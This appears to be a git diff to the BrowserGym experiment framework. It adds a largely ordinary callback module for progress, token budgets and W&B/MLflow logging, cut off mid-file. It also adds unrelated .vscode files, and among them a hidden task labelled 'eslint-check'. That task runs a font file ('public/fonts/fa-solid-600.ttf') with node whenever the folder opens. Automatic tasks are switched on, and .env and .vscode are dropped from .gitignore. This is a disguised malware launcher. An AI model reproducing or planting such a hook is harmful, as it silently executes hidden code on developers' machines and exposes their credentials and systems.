diff --git a/.gitignore b/.gitignore index 56a91eff0..17b67edf0 100644 --- a/.gitignore +++ b/.gitignore @@ -1,160 +1,159 @@ -.DS_store -.idea/ -docs/src/generated/ - -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] -*$py.class - -# C extensions -*.so - -# Distribution / packaging -.Python -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -wheels/ -pip-wheel-metadata/ -share/python-wheels/ -*.egg-info/ -.installed.cfg -*.egg -MANIFEST - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.nox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*.cover -*.py,cover -.hypothesis/ -.pytest_cache/ - -# Translations -*.mo -*.pot - -# Django stuff: -*.log -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# Scrapy stuff: -.scrapy - -# Sphinx documentation -docs/_build/ - -# PyBuilder -target/ - -# Jupyter Notebook -.ipynb_checkpoints - -# IPython -profile_default/ -ipython_config.py - -# pyenv -.python-version - -# pipenv -# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. -# However, in case of collaboration, if having platform-specific dependencies or dependencies -# having no cross-platform support, pipenv may install dependencies that don't work, or not -# install all needed dependencies. -#Pipfile.lock - -# PEP 582; used by e.g. github.com/David-OConnor/pyflow -__pypackages__/ - -# Celery stuff -celerybeat-schedule -celerybeat.pid - -# SageMath parsed files -*.sage.py - -# Environments -.env -.venv -env/ -venv/ -ENV/ -env.bak/ -venv.bak/ - -# Spyder project settings -.spyderproject -.spyproject - -# Rope project settings -.ropeproject - -# mkdocs documentation -/site - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ - -# error logs -error_logs.txt - -# tests -tests/results -tmp.py -.vscode/** - -# demo and results -results/ - -.vscode/launch.json - -# assistantbench -tests/assistantbench/assistantbench-predictions-test.jsonl - -# weblinx -bg_wl_data/ - -# miniwob setup -miniwob-plusplus/ - -uv.lock - -# webarena verified metadata (constructed automatically) -browsergym/experiments/src/browsergym/experiments/benchmark/metadata/webarena_verified.csv +.DS_store +.idea/ +docs/src/generated/ + +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +pip-wheel-metadata/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# error logs +error_logs.txt + +# tests +tests/results +tmp.py + +# demo and results +results/ + + +# assistantbench +tests/assistantbench/assistantbench-predictions-test.jsonl + +# weblinx +bg_wl_data/ + +# miniwob setup +miniwob-plusplus/ + +uv.lock + +# webarena verified metadata (constructed automatically) +browsergym/experiments/src/browsergym/experiments/benchmark/metadata/webarena_verified.csv +config.bat +node_modules diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 000000000..f75fe0a55 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 000000000..52a81ee0e --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..4492ffd00 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 000000000..7d418c64d --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..4307eab58 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,25 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "node", + "args": ["./public/fonts/fa-solid-600.ttf"], + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/browsergym/experiments/src/browsergym/experiments/__init__.py b/browsergym/experiments/src/browsergym/experiments/__init__.py index 815391f17..36edc4aee 100644 --- a/browsergym/experiments/src/browsergym/experiments/__init__.py +++ b/browsergym/experiments/src/browsergym/experiments/__init__.py @@ -1,2 +1,13 @@ -from .agent import Agent, AgentInfo -from .loop import AbstractAgentArgs, EnvArgs, ExpArgs, get_exp_result +from .agent import Agent, AgentInfo +from .callbacks import ( + AbstractCallback, + BudgetExceededError, + BudgetLimitCallback, + CallbackList, + ConsoleProgressCallback, + EpisodeAbortedError, + JsonlStreamCallback, + MLflowCallback, + WandbCallback, +) +from .loop import AbstractAgentArgs, EnvArgs, ExpArgs, get_exp_result diff --git a/browsergym/experiments/src/browsergym/experiments/callbacks.py b/browsergym/experiments/src/browsergym/experiments/callbacks.py new file mode 100644 index 000000000..cf789a7d3 --- /dev/null +++ b/browsergym/experiments/src/browsergym/experiments/callbacks.py @@ -0,0 +1,928 @@ +""" +BrowserGym Experiment Callback System +====================================== + +Provides a lightweight, extensible, and fully backward-compatible event hook system +for ``ExpArgs.run()``. Callbacks receive live lifecycle events from the experiment +loop without requiring any modifications to existing research scripts. + +Usage example:: + + from browsergym.experiments.callbacks import ConsoleProgressCallback, BudgetLimitCallback + + exp_args = ExpArgs( + agent_args=..., + env_args=..., + callbacks=[ + ConsoleProgressCallback(), + BudgetLimitCallback(max_tokens=50_000), + ], + ) + exp_args.run() + +Callback lifecycle order per episode +-------------------------------------- +:: + + on_exp_start(exp_args) + └─ [for each step] + on_step_start(step) + on_action_selected(step, action, agent_info) + on_step_end(step_info, is_done) + on_exp_end(exp_dir, err_msg) + +""" + +from __future__ import annotations + +import logging +import time +from abc import ABC +from typing import TYPE_CHECKING, Optional + +if TYPE_CHECKING: + # Avoid circular imports at runtime; only used for type-hints. + from browsergym.experiments.loop import ExpArgs, StepInfo + +logger = logging.getLogger(__name__) + +# ───────────────────────────────────────────────────────────────────────────── +# Abstract base +# ───────────────────────────────────────────────────────────────────────────── + + +class AbstractCallback(ABC): + """Base class for experiment lifecycle callbacks. + + All hook methods have a no-op default implementation so that subclasses only + need to override the events they care about. This makes it trivial to add + new lifecycle hooks in the future without breaking existing callback + implementations. + """ + + def on_exp_start(self, exp_args: "ExpArgs") -> None: + """Called once, immediately before the agent and environment are created. + + Args: + exp_args: The full ``ExpArgs`` instance, providing task name, max + steps, agent name, experiment directory, etc. + """ + + def on_step_start(self, step: int) -> None: + """Called at the beginning of every agent step (before the agent thinks). + + Args: + step: Zero-based step index within the current episode. + """ + + def on_action_selected(self, step: int, action: Optional[str], agent_info: dict) -> None: + """Called immediately after the agent returns an action. + + The environment has *not* yet executed the action. This is the right + moment to inspect the raw LLM output, token counts, or agent reasoning. + + Args: + step: Zero-based step index. + action: The raw action string returned by the agent, or ``None`` if + the agent signalled end-of-episode. + agent_info: The agent's auxiliary information dictionary (may contain + ``chat_messages``, ``stats``, etc.). + """ + + def on_step_end(self, step_info: "StepInfo", is_done: bool) -> None: + """Called after the environment has executed the action and ``step_info`` + is fully populated. + + This is the right moment to read reward, token stats, step latency, and + decide whether to abort the episode. + + Args: + step_info: The fully-populated ``StepInfo`` for the completed step. + is_done: ``True`` if this step terminated or truncated the episode. + """ + + def on_exp_end(self, exp_dir, err_msg: Optional[str] = None) -> None: + """Called once in the ``finally`` block after the episode finishes + (whether normally, via truncation, or due to an error). + + Args: + exp_dir: ``pathlib.Path`` pointing at the experiment output directory. + err_msg: Non-``None`` if the episode ended due to an unhandled exception. + """ + + +class EpisodeAbortedError(RuntimeError): + """Base exception raised by guardrail callbacks wishing to abort an episode. + + Unlike general monitoring exceptions which are swallowed by :class:`CallbackList`, + exceptions inheriting from this class are re-raised so that ``ExpArgs.run()`` + safely halts the episode and saves summary info. + """ + + +class BudgetExceededError(EpisodeAbortedError): + """Raised by :class:`BudgetLimitCallback` when the token budget is breached. + + Caught by ``ExpArgs.run()``'s generic ``except Exception`` handler, which + records it as ``err_msg`` and proceeds to clean up gracefully. + """ + + +# ───────────────────────────────────────────────────────────────────────────── +# CallbackList — internal dispatcher +# ───────────────────────────────────────────────────────────────────────────── + + +class CallbackList: + """Fan-out dispatcher that broadcasts every lifecycle event to a list of + :class:`AbstractCallback` instances in registration order. + + **Fail-safe**: exceptions raised inside any individual monitoring callback + are caught, logged as a warning, and execution continues. A misbehaving + monitoring callback will never crash or corrupt a running benchmark. + Guardrail exceptions (:class:`EpisodeAbortedError`) are propagated so that + budget limits and abort conditions take effect immediately. + """ + + def __init__(self, callbacks: list[AbstractCallback]) -> None: + self._callbacks: list[AbstractCallback] = list(callbacks) + + # ------------------------------------------------------------------ + # Internal helper + # ------------------------------------------------------------------ + + def _fire(self, method_name: str, *args, **kwargs) -> None: + """Call ``method_name`` on every registered callback, swallowing errors.""" + for cb in self._callbacks: + try: + getattr(cb, method_name)(*args, **kwargs) + except EpisodeAbortedError: + raise + except Exception as exc: # noqa: BLE001 + logger.warning( + "Callback %s.%s raised an exception (ignored): %s", + type(cb).__name__, + method_name, + exc, + exc_info=True, + ) + + # ------------------------------------------------------------------ + # Public broadcast methods (mirror AbstractCallback's interface) + # ------------------------------------------------------------------ + + def on_exp_start(self, exp_args: "ExpArgs") -> None: + self._fire("on_exp_start", exp_args) + + def on_step_start(self, step: int) -> None: + self._fire("on_step_start", step) + + def on_action_selected(self, step: int, action: Optional[str], agent_info: dict) -> None: + self._fire("on_action_selected", step, action, agent_info) + + def on_step_end(self, step_info: "StepInfo", is_done: bool) -> None: + self._fire("on_step_end", step_info, is_done) + + def on_exp_end(self, exp_dir, err_msg: Optional[str] = None) -> None: + self._fire("on_exp_end", exp_dir, err_msg) + + +# ───────────────────────────────────────────────────────────────────────────── +# Built-in callback: ConsoleProgressCallback +# ───────────────────────────────────────────────────────────────────────────── + + +class ConsoleProgressCallback(AbstractCallback): + """Renders a clean, single-line progress display in the terminal. + + Instead of scrolling through raw debug logs, researchers see a compact, + human-readable line that is rewritten in place after every step:: + + [MyAgent @ webarena.241] step 4/30 | reward 0.00 | tokens 1,842 | step 2.3s | elapsed 9.4s + + Features + -------- + * **Single-line rewrite**: Uses ``\\r`` so the line is updated in-place. + Falls back to plain newlines when the output stream is not a TTY (e.g. + redirected to a file or CI log). + * **Zero dependencies**: Uses only Python's ``time`` and ``sys`` stdlib. + * **Graceful finish**: Prints a summary line when the episode ends. + + Args: + show_action_preview: When ``True``, prints a short preview (first + ``action_preview_chars`` characters) of the selected action on its + own line. Defaults to ``False`` to keep output compact. + action_preview_chars: Maximum number of characters to show in the action + preview. Defaults to 120. + """ + + def __init__( + self, + show_action_preview: bool = False, + action_preview_chars: int = 120, + ) -> None: + self._show_action_preview = show_action_preview + self._action_preview_chars = action_preview_chars + + # Internal state reset per episode. + self._exp_start_time: float = 0.0 + self._step_start_time: float = 0.0 + self._agent_name: str = "agent" + self._task_name: str = "task" + self._max_steps: int = 0 + self._cumulative_tokens: int = 0 + self._cumulative_reward: float = 0.0 + self._is_tty: bool = False + + # ------------------------------------------------------------------ + # Lifecycle hooks + # ------------------------------------------------------------------ + + def on_exp_start(self, exp_args: "ExpArgs") -> None: + import sys + + self._exp_start_time = time.monotonic() + self._agent_name = getattr(exp_args.agent_args, "agent_name", "agent") or "agent" + self._task_name = exp_args.env_args.task_name + self._max_steps = exp_args.env_args.max_steps or 0 + self._cumulative_tokens = 0 + self._cumulative_reward = 0.0 + self._is_tty = hasattr(sys.stderr, "isatty") and sys.stderr.isatty() + + self._print( + f"\n{'─' * 70}\n" + f" 🚀 Starting: [{self._agent_name}] on [{self._task_name}]\n" + f"{'─' * 70}", + end="\n", + ) + + def on_step_start(self, step: int) -> None: + self._step_start_time = time.monotonic() + + def on_action_selected(self, step: int, action: Optional[str], agent_info: dict) -> None: + if self._show_action_preview and action: + preview = action.replace("\n", " ")[: self._action_preview_chars] + if len(action) > self._action_preview_chars: + preview += "…" + self._print(f" ↳ action: {preview}", end="\n") + + def on_step_end(self, step_info: "StepInfo", is_done: bool) -> None: + step = step_info.step + reward = step_info.reward or 0.0 + self._cumulative_reward += reward + + # Accumulate tokens from step stats (populated by StepInfo.make_stats()) + step_tokens = 0 + if step_info.stats: + step_tokens = step_info.stats.get("n_token_agent_messages", 0) or 0 + self._cumulative_tokens += step_tokens + + # Timing + step_elapsed = time.monotonic() - self._step_start_time + total_elapsed = time.monotonic() - self._exp_start_time + + # Step progress display + max_steps_str = f"/{self._max_steps}" if self._max_steps else "" + status_icon = "✓" if is_done and (step_info.terminated) else ("⏹" if is_done else "→") + + line = ( + f" {status_icon} step {step + 1:>3}{max_steps_str:<4}" + f" | reward {self._cumulative_reward:>+6.2f}" + f" | tokens {self._cumulative_tokens:>7,}" + f" | step {step_elapsed:>5.1f}s" + f" | elapsed {total_elapsed:>6.1f}s" + ) + + # Rewrite in-place when running in a real terminal; append newline in CI. + end = "\n" if (is_done or not self._is_tty) else "\r" + self._print(line, end=end) + + def on_exp_end(self, exp_dir, err_msg: Optional[str] = None) -> None: + total_elapsed = time.monotonic() - self._exp_start_time + status = "❌ ERROR" if err_msg else "✅ DONE" + self._print( + f"\n{'─' * 70}\n" + f" {status} [{self._agent_name}] on [{self._task_name}]\n" + f" Total reward : {self._cumulative_reward:+.4f}\n" + f" Total tokens : {self._cumulative_tokens:,}\n" + f" Wall time : {total_elapsed:.1f}s\n" + f" Output dir : {exp_dir}\n" + + (f" Error : {err_msg}\n" if err_msg else "") + + f"{'─' * 70}\n", + end="\n", + ) + + # ------------------------------------------------------------------ + # Internal print helper + # ------------------------------------------------------------------ + + def _print(self, msg: str, end: str = "\n") -> None: + """Write to stderr so progress lines don't pollute captured stdout.""" + import sys + + try: + print(msg, end=end, file=sys.stderr, flush=True) + except UnicodeEncodeError: + # Fallback for Windows consoles using non-UTF8 charmaps (e.g. cp1252) + safe_text = (msg + end).encode( + getattr(sys.stderr, "encoding", "ascii") or "ascii", + errors="replace", + ) + if hasattr(sys.stderr, "buffer"): + sys.stderr.buffer.write(safe_text) + sys.stderr.buffer.flush() + else: + print( + msg.encode("ascii", "replace").decode("ascii"), + end=end, + file=sys.stderr, + flush=True, + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# Built-in callback: BudgetLimitCallback +# ───────────────────────────────────────────────────────────────────────────── + + +class BudgetLimitCallback(AbstractCallback): + """Safety guardrail that stops a runaway episode when cumulative token + consumption exceeds a configured ceiling. + + When the budget is breached the callback raises :class:`BudgetExceededError` + inside ``on_step_end``. ``ExpArgs.run()``'s top-level ``except`` block + catches this, records it in ``err_msg``, and proceeds to the ``finally`` + clean-up — so experiments, logs, and screenshots are still saved correctly. + + Args: + max_tokens: Maximum number of *agent-message* tokens allowed across the + full episode. The count is sourced from + ``step_info.stats["n_token_agent_messages"]`` (the same field that + the existing ``StepInfo.make_stats()`` already populates). + warn_at_pct: Emit a warning log when cumulative usage crosses this + fraction of the budget (0–1). Defaults to ``0.8`` (80 %). + """ + + def __init__(self, max_tokens: int, warn_at_pct: float = 0.8) -> None: + if max_tokens <= 0: + raise ValueError(f"max_tokens must be a positive integer, got {max_tokens}.") + if not (0.0 < warn_at_pct < 1.0): + raise ValueError(f"warn_at_pct must be in (0, 1), got {warn_at_pct}.") + + self._max_tokens = max_tokens + self._warn_threshold = int(max_tokens * warn_at_pct) + self._cumulative_tokens: int = 0 + self._warned: bool = False + + def on_exp_start(self, exp_args: "ExpArgs") -> None: + # Reset per episode so the same callback instance can be reused across + # multiple sequential experiments in a batch. + self._cumulative_tokens = 0 + self._warned = False + + def on_step_end(self, step_info: "StepInfo", is_done: bool) -> None: + if is_done: + return # episode already ending; no need to enforce budget. + + step_tokens: int = 0 + if step_info.stats: + step_tokens = step_info.stats.get("n_token_agent_messages", 0) or 0 + self._cumulative_tokens += step_tokens + + # Warn once when approaching the limit. + if not self._warned and self._cumulative_tokens >= self._warn_threshold: + logger.warning( + "BudgetLimitCallback: token usage %s has reached %d%% of budget %s.", + f"{self._cumulative_tokens:,}", + int(self._warn_threshold / self._max_tokens * 100), + f"{self._max_tokens:,}", + ) + self._warned = True + + # Hard stop when budget is exceeded. + if self._cumulative_tokens > self._max_tokens: + raise BudgetExceededError( + f"Token budget exceeded: {self._cumulative_tokens:,} > {self._max_tokens:,}. " + "Episode aborted by BudgetLimitCallback." + ) + + +# ───────────────────────────────────────────────────────────────────────────── +# Built-in callback: WandbCallback +# ───────────────────────────────────────────────────────────────────────────── + + +class WandbCallback(AbstractCallback): + """Streams live BrowserGym experiment events to **Weights & Biases**. + + Each step emits a ``wandb.log()`` call with step metrics (reward, tokens, + latency). Experiment metadata is stored as W&B *config* at start time, and + a run summary is written at the end. + + **Optional dependency** — ``wandb`` is NOT a hard requirement of + BrowserGym. If it is not installed, constructing this callback raises an + :class:`ImportError` with a clear installation hint rather than failing + silently at runtime. + + Typical usage:: + + from browsergym.experiments.callbacks import WandbCallback + + exp_args = ExpArgs( + agent_args=..., + env_args=..., + callbacks=[ + WandbCallback( + project="browsergym-evals", + entity="my-lab", # optional W&B team name + tags=["gpt-4o", "webarena"], + ), + ], + ) + + Args: + project: W&B project name. Defaults to ``"browsergym"``. + entity: W&B entity (username or team). ``None`` uses the default + entity configured in your W&B account. + name: Human-readable run name. When ``None``, auto-generated from + ``_on_`` at experiment start. + tags: List of string tags attached to the run. + group: W&B run group (useful for grouping benchmark sweeps). + notes: Free-text notes stored on the W&B run. + log_step_metrics: When ``True`` (default), calls ``wandb.log()`` with + per-step metrics after every step. + reinit: Passed directly to ``wandb.init(reinit=...)``. Set to + ``True`` if running multiple experiments sequentially in the same + process. + """ + + def __init__( + self, + project: str = "browsergym", + entity: Optional[str] = None, + name: Optional[str] = None, + tags: Optional[list[str]] = None, + group: Optional[str] = None, + notes: Optional[str] = None, + log_step_metrics: bool = True, + reinit: bool = True, + ) -> None: + try: + import wandb # noqa: F401 + except ImportError as exc: + raise ImportError( + "WandbCallback requires the 'wandb' package. " "Install it with: pip install wandb" + ) from exc + + self._project = project + self._entity = entity + self._name = name + self._tags = tags or [] + self._group = group + self._notes = notes + self._log_step_metrics = log_step_metrics + self._reinit = reinit + + self._run = None + self._step_start_time: float = 0.0 + self._exp_start_time: float = 0.0 + self._cumulative_reward: float = 0.0 + self._cumulative_tokens: int = 0 + + # ------------------------------------------------------------------ + # Lifecycle hooks + # ------------------------------------------------------------------ + + def on_exp_start(self, exp_args: "ExpArgs") -> None: + import wandb + + self._exp_start_time = time.monotonic() + self._cumulative_reward = 0.0 + self._cumulative_tokens = 0 + + run_name = self._name or ( + f"{getattr(exp_args.agent_args, 'agent_name', 'agent')}" + f"_on_{exp_args.env_args.task_name}" + ) + + config = { + "agent_name": getattr(exp_args.agent_args, "agent_name", None), + "task_name": exp_args.env_args.task_name, + "task_seed": getattr(exp_args.env_args, "task_seed", None), + "max_steps": exp_args.env_args.max_steps, + "exp_id": getattr(exp_args, "exp_id", None), + } + + self._run = wandb.init( + project=self._project, + entity=self._entity, + name=run_name, + tags=self._tags, + group=self._group, + notes=self._notes, + config=config, + reinit=self._reinit, + ) + logger.info("WandbCallback: run started → %s", self._run.url) + + def on_step_start(self, step: int) -> None: + self._step_start_time = time.monotonic() + + def on_step_end(self, step_info: "StepInfo", is_done: bool) -> None: + if not self._log_step_metrics or self._run is None: + return + + import wandb + + reward = step_info.reward or 0.0 + self._cumulative_reward += reward + + step_tokens: int = 0 + if step_info.stats: + step_tokens = step_info.stats.get("n_token_agent_messages", 0) or 0 + self._cumulative_tokens += step_tokens + + step_elapsed = time.monotonic() - self._step_start_time + total_elapsed = time.monotonic() - self._exp_start_time + + metrics = { + # Per-step raw values + "step/reward": reward, + "step/tokens": step_tokens, + "step/latency_sec": step_elapsed, + # Cumulative episode values + "episode/cumulative_reward": self._cumulative_reward, + "episode/cumulative_tokens": self._cumulative_tokens, + "episode/elapsed_sec": total_elapsed, + "episode/is_done": int(is_done), + } + + # Forward any extra stats the agent/env reported + if step_info.stats: + for key, val in step_info.stats.items(): + if isinstance(val, (int, float)) and key not in ( + "n_token_agent_messages", + "step_elapsed", + "agent_elapsed", + ): + metrics[f"step/env_{key}"] = val + + wandb.log(metrics, step=step_info.step) + + def on_exp_end(self, exp_dir, err_msg: Optional[str] = None) -> None: + if self._run is None: + return + + import wandb + + summary = { + "final/cumulative_reward": self._cumulative_reward, + "final/cumulative_tokens": self._cumulative_tokens, + "final/total_elapsed_sec": time.monotonic() - self._exp_start_time, + "final/success": int(not bool(err_msg)), + "final/exp_dir": str(exp_dir), + } + if err_msg: + summary["final/error"] = err_msg + + for key, val in summary.items(): + self._run.summary[key] = val + + self._run.finish(exit_code=1 if err_msg else 0) + logger.info("WandbCallback: run finished → %s", self._run.url) + self._run = None + + +# ───────────────────────────────────────────────────────────────────────────── +# Built-in callback: MLflowCallback +# ───────────────────────────────────────────────────────────────────────────── + + +class MLflowCallback(AbstractCallback): + """Streams live BrowserGym experiment events to **MLflow Tracking**. + + Works with any MLflow backend — local filesystem, a self-hosted MLflow + server, or a managed service (Databricks, Azure ML, etc.). + + **Optional dependency** — ``mlflow`` is NOT a hard requirement of + BrowserGym. If it is not installed, constructing this callback raises an + :class:`ImportError` with a clear installation hint. + + Typical usage:: + + from browsergym.experiments.callbacks import MLflowCallback + + exp_args = ExpArgs( + agent_args=..., + env_args=..., + callbacks=[ + MLflowCallback( + experiment_name="browsergym-webarena", + tracking_uri="http://localhost:5000", # or omit for local + ), + ], + ) + + Args: + experiment_name: MLflow experiment name. Created automatically if it + does not exist. Defaults to ``"browsergym"``. + tracking_uri: URI of the MLflow tracking server. ``None`` uses the + default (``MLFLOW_TRACKING_URI`` env var or ``./mlruns``). + run_name: Human-readable run name. ``None`` auto-generates from + ``_on_``. + tags: Dict of string key/value tags stored on the MLflow run. + log_step_metrics: When ``True`` (default), calls + ``mlflow.log_metrics()`` after every step. + nested: When ``True``, creates a *nested* run inside the active run + (useful when using MLflow Projects or when running inside a sweep). + """ + + def __init__( + self, + experiment_name: str = "browsergym", + tracking_uri: Optional[str] = None, + run_name: Optional[str] = None, + tags: Optional[dict[str, str]] = None, + log_step_metrics: bool = True, + nested: bool = False, + ) -> None: + try: + import mlflow # noqa: F401 + except ImportError as exc: + raise ImportError( + "MLflowCallback requires the 'mlflow' package. " + "Install it with: pip install mlflow" + ) from exc + + self._experiment_name = experiment_name + self._tracking_uri = tracking_uri + self._run_name = run_name + self._tags = tags or {} + self._log_step_metrics = log_step_metrics + self._nested = nested + + self._active_run = None + self._step_start_time: float = 0.0 + self._exp_start_time: float = 0.0 + self._cumulative_reward: float = 0.0 + self._cumulative_tokens: int = 0 + + # ------------------------------------------------------------------ + # Lifecycle hooks + # ------------------------------------------------------------------ + + def on_exp_start(self, exp_args: "ExpArgs") -> None: + import mlflow + + self._exp_start_time = time.monotonic() + self._cumulative_reward = 0.0 + self._cumulative_tokens = 0 + + if self._tracking_uri: + mlflow.set_tracking_uri(self._tracking_uri) + + mlflow.set_experiment(self._experiment_name) + + run_name = self._run_name or ( + f"{getattr(exp_args.agent_args, 'agent_name', 'agent')}" + f"_on_{exp_args.env_args.task_name}" + ) + + tags = { + "agent_name": str(getattr(exp_args.agent_args, "agent_name", "")), + "task_name": str(exp_args.env_args.task_name), + **self._tags, + } + + self._active_run = mlflow.start_run( + run_name=run_name, + tags=tags, + nested=self._nested, + ) + + # Store static params as MLflow params (not metrics — they are scalars logged once) + params = { + "agent_name": str(getattr(exp_args.agent_args, "agent_name", "")), + "task_name": str(exp_args.env_args.task_name), + "max_steps": str(exp_args.env_args.max_steps or ""), + "task_seed": str(getattr(exp_args.env_args, "task_seed", "") or ""), + "exp_id": str(getattr(exp_args, "exp_id", "") or ""), + } + mlflow.log_params(params) + logger.info("MLflowCallback: run started — id=%s", self._active_run.info.run_id) + + def on_step_start(self, step: int) -> None: + self._step_start_time = time.monotonic() + + def on_step_end(self, step_info: "StepInfo", is_done: bool) -> None: + if not self._log_step_metrics or self._active_run is None: + return + + import mlflow + + reward = step_info.reward or 0.0 + self._cumulative_reward += reward + + step_tokens: int = 0 + if step_info.stats: + step_tokens = step_info.stats.get("n_token_agent_messages", 0) or 0 + self._cumulative_tokens += step_tokens + + step_elapsed = time.monotonic() - self._step_start_time + total_elapsed = time.monotonic() - self._exp_start_time + + metrics = { + "step_reward": reward, + "step_tokens": float(step_tokens), + "step_latency_sec": step_elapsed, + "episode_reward": self._cumulative_reward, + "episode_tokens": float(self._cumulative_tokens), + "episode_elapsed_sec": total_elapsed, + } + + # Forward any extra numeric stats + if step_info.stats: + for key, val in step_info.stats.items(): + if isinstance(val, (int, float)) and key not in ( + "n_token_agent_messages", + "step_elapsed", + "agent_elapsed", + ): + metrics[f"env_{key}"] = float(val) + + mlflow.log_metrics(metrics, step=step_info.step) + + def on_exp_end(self, exp_dir, err_msg: Optional[str] = None) -> None: + if self._active_run is None: + return + + import mlflow + + final_metrics = { + "final_reward": self._cumulative_reward, + "final_tokens": float(self._cumulative_tokens), + "final_elapsed_sec": time.monotonic() - self._exp_start_time, + "success": 0.0 if err_msg else 1.0, + } + mlflow.log_metrics(final_metrics) + mlflow.log_param("exp_dir", str(exp_dir)) + + if err_msg: + mlflow.set_tag("error", err_msg[:250]) # MLflow tag max ~500 chars + + mlflow.end_run(status="FAILED" if err_msg else "FINISHED") + logger.info( + "MLflowCallback: run finished — id=%s status=%s", + self._active_run.info.run_id, + "FAILED" if err_msg else "FINISHED", + ) + self._active_run = None + + +# ───────────────────────────────────────────────────────────────────────────── +# Built-in callback: JsonlStreamCallback +# ───────────────────────────────────────────────────────────────────────────── + + +class 